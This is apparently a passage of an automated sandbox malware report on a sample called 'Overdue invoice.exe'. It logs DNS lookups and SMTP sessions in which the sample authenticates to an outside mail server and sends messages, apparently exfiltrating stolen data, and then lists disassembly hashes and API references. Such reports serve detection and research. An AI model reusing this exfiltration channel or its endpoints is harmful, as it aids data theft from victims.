May 27, 2022 12:53:53.050416946 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:53.054867029 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:53:53.262171030 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:22.889226913 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:23.023149014 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:23.025516987 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:25.429943085 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:25.444358110 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:25.578612089 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:25.582864046 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:25.717389107 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:25.743762970 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:25.893343925 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:25.893627882 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.028583050 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.028840065 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.177023888 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.218147993 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.500936985 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.634860992 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.634953022 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.668198109 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.668311119 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.668384075 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.668456078 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:54:26.803858042 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.803900957 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.809715033 CEST	587	49745	206.183.111.188	192.168.2.3
May 27, 2022 12:54:26.858817101 CEST	49745	587	192.168.2.3	206.183.111.188
May 27, 2022 12:55:29.490083933 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:55:29.660953045 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:55:29.823596954 CEST	587	49715	206.183.111.188	192.168.2.3
May 27, 2022 12:55:29.823791027 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:55:29.823844910 CEST	49715	587	192.168.2.3	206.183.111.188
May 27, 2022 12:55:29.954498053 CEST	587	49715	206.183.111.188	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 12:53:49.667876959 CEST	49316	53	192.168.2.3	8.8.8.8
May 27, 2022 12:53:50.838224888 CEST	49316	53	192.168.2.3	8.8.8.8
May 27, 2022 12:53:50.942549944 CEST	53	49316	8.8.8.8	192.168.2.3
May 27, 2022 12:54:22.740289927 CEST	58116	53	192.168.2.3	8.8.8.8
May 27, 2022 12:54:22.844952106 CEST	53	58116	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 27, 2022 12:53:49.667876959 CEST	192.168.2.3	8.8.8.8	0xb85e	Standard query (0)	mail.jkudyog.com	A (IP address)	IN (0x0001)
May 27, 2022 12:53:50.838224888 CEST	192.168.2.3	8.8.8.8	0xb85e	Standard query (0)	mail.jkudyog.com	A (IP address)	IN (0x0001)
May 27, 2022 12:54:22.740289927 CEST	192.168.2.3	8.8.8.8	0xf7d3	Standard query (0)	mail.jkudyog.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 27, 2022 12:53:50.942549944 CEST	8.8.8.8	192.168.2.3	0xb85e	No error (0)	mail.jkudyog.com		206.183.111.188	A (IP address)	IN (0x0001)
May 27, 2022 12:54:22.844952106 CEST	8.8.8.8	192.168.2.3	0xf7d3	No error (0)	mail.jkudyog.com		206.183.111.188	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 27, 2022 12:53:51.877722979 CEST	587	49715	206.183.111.188	192.168.2.3	220-hulk.rapidns.com ESMTP Exim 4.95 #2 Fri, 27 May 2022 16:23:51 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2022 12:53:51.957850933 CEST	49715	587	192.168.2.3	206.183.111.188	EHLO 701188
May 27, 2022 12:53:52.088825941 CEST	587	49715	206.183.111.188	192.168.2.3	250-hulk.rapidns.com Hello 701188 [102.129.143.42] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2022 12:53:52.178985119 CEST	49715	587	192.168.2.3	206.183.111.188	AUTH login YXNodXRvc2hAamt1ZHlvZy5jb20=
May 27, 2022 12:53:52.310087919 CEST	587	49715	206.183.111.188	192.168.2.3	334 UGFzc3dvcmQ6
May 27, 2022 12:53:52.507563114 CEST	587	49715	206.183.111.188	192.168.2.3	235 Authentication succeeded
May 27, 2022 12:53:52.508352995 CEST	49715	587	192.168.2.3	206.183.111.188	MAIL FROM:<ashutosh@jkudyog.com>
May 27, 2022 12:53:52.638927937 CEST	587	49715	206.183.111.188	192.168.2.3	250 OK
May 27, 2022 12:53:52.639225006 CEST	49715	587	192.168.2.3	206.183.111.188	RCPT TO:<markhung@jingtai.com.vn>
May 27, 2022 12:53:52.786659956 CEST	587	49715	206.183.111.188	192.168.2.3	250 Accepted
May 27, 2022 12:53:52.786880970 CEST	49715	587	192.168.2.3	206.183.111.188	DATA
May 27, 2022 12:53:52.917664051 CEST	587	49715	206.183.111.188	192.168.2.3	354 Enter message, ending with "." on a line by itself
May 27, 2022 12:53:52.919720888 CEST	49715	587	192.168.2.3	206.183.111.188	.
May 27, 2022 12:53:53.054867029 CEST	587	49715	206.183.111.188	192.168.2.3	250 OK id=1nuXbN-000NU7-4h
May 27, 2022 12:54:25.429943085 CEST	587	49745	206.183.111.188	192.168.2.3	220-hulk.rapidns.com ESMTP Exim 4.95 #2 Fri, 27 May 2022 16:24:25 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2022 12:54:25.444358110 CEST	49745	587	192.168.2.3	206.183.111.188	EHLO 701188
May 27, 2022 12:54:25.578612089 CEST	587	49745	206.183.111.188	192.168.2.3	250-hulk.rapidns.com Hello 701188 [102.129.143.42] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2022 12:54:25.582864046 CEST	49745	587	192.168.2.3	206.183.111.188	AUTH login YXNodXRvc2hAamt1ZHlvZy5jb20=
May 27, 2022 12:54:25.717389107 CEST	587	49745	206.183.111.188	192.168.2.3	334 UGFzc3dvcmQ6
May 27, 2022 12:54:25.893343925 CEST	587	49745	206.183.111.188	192.168.2.3	235 Authentication succeeded
May 27, 2022 12:54:25.893627882 CEST	49745	587	192.168.2.3	206.183.111.188	MAIL FROM:<ashutosh@jkudyog.com>
May 27, 2022 12:54:26.028583050 CEST	587	49745	206.183.111.188	192.168.2.3	250 OK
May 27, 2022 12:54:26.028840065 CEST	49745	587	192.168.2.3	206.183.111.188	RCPT TO:<markhung@jingtai.com.vn>
May 27, 2022 12:54:26.177023888 CEST	587	49745	206.183.111.188	192.168.2.3	250 Accepted
May 27, 2022 12:54:26.500936985 CEST	49745	587	192.168.2.3	206.183.111.188	DATA
May 27, 2022 12:54:26.634953022 CEST	587	49745	206.183.111.188	192.168.2.3	354 Enter message, ending with "." on a line by itself
May 27, 2022 12:54:26.668456078 CEST	49745	587	192.168.2.3	206.183.111.188	.
May 27, 2022 12:54:26.809715033 CEST	587	49745	206.183.111.188	192.168.2.3	250 OK id=1nuXbu-000NXK-Rm
May 27, 2022 12:55:29.490083933 CEST	49715	587	192.168.2.3	206.183.111.188	QUIT
May 27, 2022 12:55:29.823596954 CEST	587	49715	206.183.111.188	192.168.2.3	221 hulk.rapidns.com closing connection

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: Overdue invoice.exePID: 6504, Parent PID: 5924COMMON

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7%
Total number of Nodes:	215
Total number of Limit Nodes:	13

Control-flow Graph

Executed
Not Executed

Strings

QO$S, xrefs: 0726C551
e$%j, xrefs: 0726C304
iE9, xrefs: 0726C49B
!l\, xrefs: 0726C403
lYQ, xrefs: 0726C301

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: !l\$QO$S$e$%j$lYQ$iE9
API String ID: 0-3094461243
Opcode ID: 9c5b19cb6c3f84ea73d583627d18be775ecc6a02a3170ef1e85021a6efb23c52
Instruction ID: 2b10a5742fea4ae89a9a7a6d4992001715258e1c37c82f17474e988ed09b2adf
Opcode Fuzzy Hash: 9c5b19cb6c3f84ea73d583627d18be775ecc6a02a3170ef1e85021a6efb23c52
Instruction Fuzzy Hash: 30D19070A25245DFDB14EFA5D98899DBBF2FF48705B14C46AE409EB3A4DB30A890CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07266369 Relevance: 1.6, Strings: 1, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",03,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",02,", xrefs: 072665B7

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",03,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",02,"
API String ID: 0-832420553
Opcode ID: 66c4c34c7bb3b5fccb3e44661f9c2b8423093db3a8db5304d0c8276fd1793680
Instruction ID: e2bfdc2156771154349b8da889bb6587615402a722c6fd72372fd7415318ace5
Opcode Fuzzy Hash: 66c4c34c7bb3b5fccb3e44661f9c2b8423093db3a8db5304d0c8276fd1793680
Instruction Fuzzy Hash: B6E18BB5A2820ADFCB14CFA5D4858EEFBB2FF89311F10855BD405AB254D734A982CF94

Uniqueness

Uniqueness Score: -1.00%

Function 07266329 Relevance: 1.6, Strings: 1, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",03,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",02,", xrefs: 072665B7

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",03,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",02,"
API String ID: 0-832420553
Opcode ID: 713a49118d3f5b0aaf329e266d9c42188f4fc88a4413f579405d07980f0eee66
Instruction ID: 9666f64853746ca4fb2c12cd8de4efbef42f7965321fba74630c31e0b2b759ed
Opcode Fuzzy Hash: 713a49118d3f5b0aaf329e266d9c42188f4fc88a4413f579405d07980f0eee66
Instruction Fuzzy Hash: CBE19BB5A2820ADFCB14CFA5D4858EEFBB2FF89311F10855BD405AB254D734A982CF94

Uniqueness

Uniqueness Score: -1.00%

Function 07266420 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",03,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",02,", xrefs: 072665B7

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",03,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",02,"
API String ID: 0-832420553
Opcode ID: 7608a95375236c4cb3b22e9c66c2fe5b33aa681a4d6a100f38466f879ed4f232
Instruction ID: 71efcf3ed19c8b1d52dbcaeb07bee2f21f4a41de27bd86d0b3840327f423da04
Opcode Fuzzy Hash: 7608a95375236c4cb3b22e9c66c2fe5b33aa681a4d6a100f38466f879ed4f232
Instruction Fuzzy Hash: F3D129B4D2420ADFCB14CF96C5858AEFBB6FF89300F14C55AD416AB254D734AA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0726424D Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

1v{i, xrefs: 072644EB

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: 1v{i
API String ID: 0-3238669819
Opcode ID: 81b83a723897fda3614e7cef32ccfb2779bc44f2bdb064d7ef468a3dbb3aade0
Instruction ID: eda3ada1bc4ca23d4ef06b64efe565b09032b09be1a3d9a6ac63af8d599a9257
Opcode Fuzzy Hash: 81b83a723897fda3614e7cef32ccfb2779bc44f2bdb064d7ef468a3dbb3aade0
Instruction Fuzzy Hash: E2A13875E102588FCB08DFE9D8846DEBBB2EF89310F24942AD419BB355D7349A82CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0726D688 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

k3bo, xrefs: 0726D937

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: k3bo
API String ID: 0-1636335931
Opcode ID: 22a6734c040f1b54ebcaa84d0e48cb4737470bb900ee2bc06e1ae325b8e16129
Instruction ID: 7c890c177ddb41ad06e5ae275d94891db97fee9db08cfc5f844a6eb3f8e95921
Opcode Fuzzy Hash: 22a6734c040f1b54ebcaa84d0e48cb4737470bb900ee2bc06e1ae325b8e16129
Instruction Fuzzy Hash: A7B137B0F256598BCF04CFE9C5896DEFBF2AF89310F14C52AD408AB255E7349981CB64

Uniqueness

Uniqueness Score: -1.00%

Function 072642C8 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

1v{i, xrefs: 072644EB

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: 1v{i
API String ID: 0-3238669819
Opcode ID: 8865c865d65f395d4b737c0b6308cc8e1d268f41890b591b724e8a392cd4f067
Instruction ID: 43d7ebe0e9b9c98a7f92884453816a546c72719d73063de5ceac929e6ab47edc
Opcode Fuzzy Hash: 8865c865d65f395d4b737c0b6308cc8e1d268f41890b591b724e8a392cd4f067
Instruction Fuzzy Hash: 8391D2B4E242598FCB08DFE9C984AEEFBB2EF89340F24902AD419BB254D7745941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 027319B0 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

['_v, xrefs: 02731BFF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID: ['_v
API String ID: 0-2215613000
Opcode ID: f2eef15a19e516950fecc1f99284a0c4a661345179f6effdf2949dd3dae17776
Instruction ID: 1f9e09e2bf2f8feb8bc5ab4230ba3e645962cdf46428e81bb8f466667e1f8493
Opcode Fuzzy Hash: f2eef15a19e516950fecc1f99284a0c4a661345179f6effdf2949dd3dae17776
Instruction Fuzzy Hash: 71616C70D1620CDFDB05CFE9E6806DDFBB6BB89311F64A52AD009B7255E3348946CB28

Uniqueness

Uniqueness Score: -1.00%

Function 027319C0 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

['_v, xrefs: 02731BFF

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID: ['_v
API String ID: 0-2215613000
Opcode ID: e74eb198530bada359a5197a5c7fd1c56ad50f57f71d5b2990679c3e643e1c87
Instruction ID: 264f51c25498c3ee70a5b9b3444c1b7867c30cc564b271be4c20abed7813f27c
Opcode Fuzzy Hash: e74eb198530bada359a5197a5c7fd1c56ad50f57f71d5b2990679c3e643e1c87
Instruction Fuzzy Hash: AE617B70D1620CEBDB05CFE9E5806DDFBB6FB89311F64A42AD009B7255E7349942CB28

Uniqueness

Uniqueness Score: -1.00%

Function 07264B58 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

;N9a, xrefs: 07264C0E

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: ;N9a
API String ID: 0-1213979650
Opcode ID: 039d61a8a714da9dd26bb5ed2e05412456f4f829c2b2d14964a8d63568884c6d
Instruction ID: 4e8b0c007f45c8a423b1ede8a6527bf44f80e3d4205b82dd4ded2a94ba9adae8
Opcode Fuzzy Hash: 039d61a8a714da9dd26bb5ed2e05412456f4f829c2b2d14964a8d63568884c6d
Instruction Fuzzy Hash: 1A5126B4E14259CFDB08DFAAD8446AEFBF2FF89300F14C16AD459A7250D7345A818F68

Uniqueness

Uniqueness Score: -1.00%

Function 07264B68 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

;N9a, xrefs: 07264C0E

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID: ;N9a
API String ID: 0-1213979650
Opcode ID: 451fa82793897303bb59ce40064bf5e951857f8c6c70495322d3c3a41994cfee
Instruction ID: 479604929cb0aeea66806b207a86fe74fb21077446bb76170309d2309aff45dc
Opcode Fuzzy Hash: 451fa82793897303bb59ce40064bf5e951857f8c6c70495322d3c3a41994cfee
Instruction Fuzzy Hash: 235114B4E14259CFDB08DFAAC8446AEFBF2BF89300F14C06AD419B7250D7345A818F68

Uniqueness

Uniqueness Score: -1.00%

Function 072632F0 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0a0b79dc9431eef6897cd6bb2738ff28b5c85f118313ff17493b41ea973370
Instruction ID: 47643cefc2ff75ee3777ba8d0174a72270d860fb0700e2373a956fd98015b834
Opcode Fuzzy Hash: 5a0a0b79dc9431eef6897cd6bb2738ff28b5c85f118313ff17493b41ea973370
Instruction Fuzzy Hash: 72D1DBB0B142068FCB25DF78C88856EBBE6AF85204F2A846AD405DB396DF71DD81C791

Uniqueness

Uniqueness Score: -1.00%

Function 07265530 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7dab4c436d9773b76be3b2abe76bb2e2b2c3d3ef84d13cc07e44d57711edee
Instruction ID: 0499923d4da64df77361a251c4cf9693c4180f57d4b33578c2042b0860d8756b
Opcode Fuzzy Hash: 4c7dab4c436d9773b76be3b2abe76bb2e2b2c3d3ef84d13cc07e44d57711edee
Instruction Fuzzy Hash: AA21F5B1E106189BEB18CFABD8442DEFBF7AFC9310F14C06AD408A7258DB3419958F80

Uniqueness

Uniqueness Score: -1.00%

Function 07268AB0 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2458b9c587317345c6d6aea3d2118018727c8392f1103e911db8ede6006ceb
Instruction ID: f30316d35b5edb53aa1536db07137831c08770d852472b6765d5d77da27dde6c
Opcode Fuzzy Hash: ef2458b9c587317345c6d6aea3d2118018727c8392f1103e911db8ede6006ceb
Instruction Fuzzy Hash: 5821E0B1E116189BEB58CFABD84469EF7F7AFC8200F04C576C408A7254DB3059868F51

Uniqueness

Uniqueness Score: -1.00%

Function 07265520 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7949362d23137ecfea2bbadac9089ae80b123b4c857636dcfa6f701fb79535f
Instruction ID: ce4fcc3df6120e51076fceafca6f240a5eedb26a98922dd07194518089f0f9d3
Opcode Fuzzy Hash: d7949362d23137ecfea2bbadac9089ae80b123b4c857636dcfa6f701fb79535f
Instruction Fuzzy Hash: DC21B3B0E106589BEB18CFA7D94539EBBB7AFC9310F14C06AD408A6258DB741996CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00C2B523 Relevance: 6.1, APIs: 4, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00C2B590
GetCurrentThread.KERNEL32 ref: 00C2B5CD
GetCurrentProcess.KERNEL32 ref: 00C2B60A
GetCurrentThreadId.KERNEL32 ref: 00C2B663

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 14ca1d203fc7c10893b156bae0a29782df8a860070c72d1453a97aca22567287
Instruction ID: 5658ebc266b318f360d1e07985851b4d2c99192170f83265bcd545953c2d330c
Opcode Fuzzy Hash: 14ca1d203fc7c10893b156bae0a29782df8a860070c72d1453a97aca22567287
Instruction Fuzzy Hash: 455175B0D046498FDB14CFAAD548BDEBBF0EF89314F24846DE419A7390CB745948CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C2B530 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00C2B590
GetCurrentThread.KERNEL32 ref: 00C2B5CD
GetCurrentProcess.KERNEL32 ref: 00C2B60A
GetCurrentThreadId.KERNEL32 ref: 00C2B663

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a3863b2e281dc8433b80ef4884afaff03a818ae1c52a169a4e5ac0d49b4bfa21
Instruction ID: 329de2be4c761e62c2c6b6c0df958fde72fcae70b93ac9250d5616943515bf03
Opcode Fuzzy Hash: a3863b2e281dc8433b80ef4884afaff03a818ae1c52a169a4e5ac0d49b4bfa21
Instruction Fuzzy Hash: 895152B0D006498FDB14CFAAD548B9EBBF0EF88314F24846DE419A7790C774A948CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C2F900 Relevance: 1.8, APIs: 1, Instructions: 278
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e3a6b1a2337cbe0119fbe34f5df98b46d9dfc76c1c70fd6380a43fa9ed2eed
Instruction ID: 7caec89f4ecc3e5ded5fe6c6725ed1de50094364a74c60dabdb1a847910e2abb
Opcode Fuzzy Hash: e3e3a6b1a2337cbe0119fbe34f5df98b46d9dfc76c1c70fd6380a43fa9ed2eed
Instruction Fuzzy Hash: 3491A171805388AFDB12DFA9D8519DDBFB0FF4A310F1980AEE454AB663C3349986CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C29530 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c4af6ed27b78ffde14e348fb771944d4f9cdbcba58799ab830f1d987668c3b65
Instruction ID: f20907403ea5dba7240e7d5d57b6e7c256d3fb5b009c9ca7000c90b98439d09d
Opcode Fuzzy Hash: c4af6ed27b78ffde14e348fb771944d4f9cdbcba58799ab830f1d987668c3b65
Instruction Fuzzy Hash: 2C713570A00B158FDB64DF2AD44579ABBF1FF89304F108A2DE49AD7A40D774E905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 027332FE Relevance: 1.6, APIs: 1, Instructions: 147
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 0273345B

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c5b31ccf4fa0d9dfed5978f6a6bc735c237319ff6a70f12d3341e23be974ad7f
Instruction ID: 6fd69f01bc24422cb7c7c81f8b85e8eff6bee589b43e1ceb33f7ce5b1f63f457
Opcode Fuzzy Hash: c5b31ccf4fa0d9dfed5978f6a6bc735c237319ff6a70f12d3341e23be974ad7f
Instruction Fuzzy Hash: 55512771D00328DFDB61CF99C880BDDBBB1AF48314F15809AE508B7210DB359A89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02733308 Relevance: 1.6, APIs: 1, Instructions: 143
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 0273345B

Memory Dump Source

